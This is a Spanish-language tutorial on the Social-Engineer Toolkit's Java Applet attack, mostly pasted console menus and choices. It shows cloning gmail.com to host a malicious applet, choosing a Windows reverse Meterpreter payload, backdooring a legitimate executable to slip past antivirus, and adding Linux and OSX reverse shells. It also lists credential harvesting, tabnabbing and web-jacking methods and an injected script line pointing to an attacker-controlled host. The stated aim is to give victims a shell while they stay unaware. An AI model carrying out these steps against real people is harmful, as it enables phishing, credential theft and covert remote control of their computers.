Vector de Ataque Applet Java
El Applet Java es uno de los principales vectores de ataque en SET y tiene el ratio de exito mas alto. El Ataque Applet Java creara un Applet Java malicioso que una vez ejecutado, comprometera completamente a la victima. El truco con SET es que puedes clonar completamente un sitio web y una vez que la victima ha pulsado ejecutar, la redireccionara al sitio original haciendo el ataque mucho mas creible. Este vector de ataque afecta Windows, Linux, y OSX y puede comprometerlos todos ellos. Recuerda, si quieres personalizar este vector de ataque, edita config/set_config para cambiar la informacion del certificado auto-firmado. En este vector de ataque especifico, puedes seleccionar plantillas web que son sitios web predefinidos que ya han sido cosechados, o puedes importar tu propio sitio web. En este ejemplo utilizaremos el clonador de sitios, que clonara un sitio web para nosotros. Iniciemos SET y preparemos nuestro ataque.
Select from the menu: 1. Spear-Phishing Attack Vectors 2. Website Attack Vectors 3. Infectious Media Generator 4. Create a Payload and Listener 5. Mass Mailer Attack 6. Teensy USB HID Attack Vector 7. SMS Spoofing Attack Vector 8. Third Party Modules 9. Update the Metasploit Framework 10. Update the Social-Engineer Toolkit 11. Help, Credits, and About 12. Exit the Social-Engineer Toolkit Enter your choice: 2 The Social-Engineer Toolkit "Web Attack" vector is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. Enter what type of attack you would like to utilize. The Java Applet attack will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload. The Metasploit browser exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload. The Credential Harvester Method will utilize web cloning of a website that has a username and password field and harvest all the information posted to the website. The TabNabbing Method will wait for a user to move to a different tab, then refresh the page to something different. The Man Left in the Middle Attack Method was introduced by Kos and utilizes HTTP REFERER's in order to intercept fields and harvest data from them. You need to have an already vulnerable site and incorporate script src="http://YOURIP/". This could either be from a compromised site or through XSS. The web jacking attack method was introduced by white_sheep, Emgent and the Back|Track team. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its to slow/fast. The multi-attack will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing, and the Man Left in the Middle attack all at once to see which is successful. 1. The Java Applet Attack Method 2. The Metasploit Browser Exploit Method 3. Credential Harvester Attack Method 4. Tabnabbing Attack Method 5. Man Left in the Middle Attack Method 6. Web Jacking Attack Method 7. Multi-Attack Web Method 8. Return to the previous menu Enter your choice (press enter for default): 1 The first method will allow SET to import a list of pre-defined web applications that it can utilize within the attack. The second method will completely clone a website of your choosing and allow you to utilize the attack vectors within the completely same web application you were attempting to clone. The third method allows you to import your own website, note that you should only have an index.html when using the import website functionality. [!] Website Attack Vectors [!] 1. Web Templates 2. Site Cloner 3. Custom Import 4.

Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker. 4. Windows Bind Shell Execute payload and create an accepting port on remote system. 5. Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline 6. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 7. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 9. Import your own executable Specify a path for your own executable Enter choice (hit enter for default): 2 Below is a list of encodings to try and bypass AV. Select one of the below, 'backdoored executable' is typically the best. 1. avoid_utf8_tolower (Normal) 2. shikata_ga_nai (Very Good) 3. alpha_mixed (Normal) 4. alpha_upper (Normal) 5. call4_dword_xor (Normal) 6. countdown (Normal) 7. fnstenv_mov (Normal) 8. jmp_call_additive (Normal) 9. nonalpha (Normal) 10. nonupper (Normal) 11. unicode_mixed (Normal) 12. unicode_upper (Normal) 13. alpha2 (Normal) 14. No Encoding (None) 15. Multi-Encoder (Excellent) 16. Backdoored Executable (BEST) Enter your choice (enter for default): 16 [-] Enter the PORT of the listener (enter for default): 443 [-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds... [-] Backdoor completed successfully. Payload is now hidden within a legit executable. ******************************************************** Do you want to create a Linux/OSX reverse_tcp payload in the Java Applet attack as well? ******************************************************** Enter choice yes or no: yes Enter the port to listen for on OSX: 8080 Enter the port to listen for on Linux: 8081 Created by msfpayload (http://www.metasploit.com).

En este ataque, hemos configurado nuestro escenario para clonar https://gmail.com y utilizar el vector de ataque meterpreter inverso en el puerto 443. Hemos utilizado el ejecutable con puerta trasera para tratar de puentear el anti-virus, y hemos configurado el multi-manejador de Metasploit para capturar las conexiones de vuelta. Si quieres utilizar un email con este vector de ataque, podrias editar config/set_config y cambiar WEBATTACK_EMAIL=OFF a WEBATTACK_EMAIL=ON. Cuando hagas que la victima pulse un enlace, o lo atraigas hacia tu sitio, vera algo parecido a esto:
Tan pronto como la victima pulse ejecutar, se te presentara una shell de meterpreter, y la victima sera redireccionada de vuelta al sitio original de Google completamente ajeno a que ha sido comprometido.
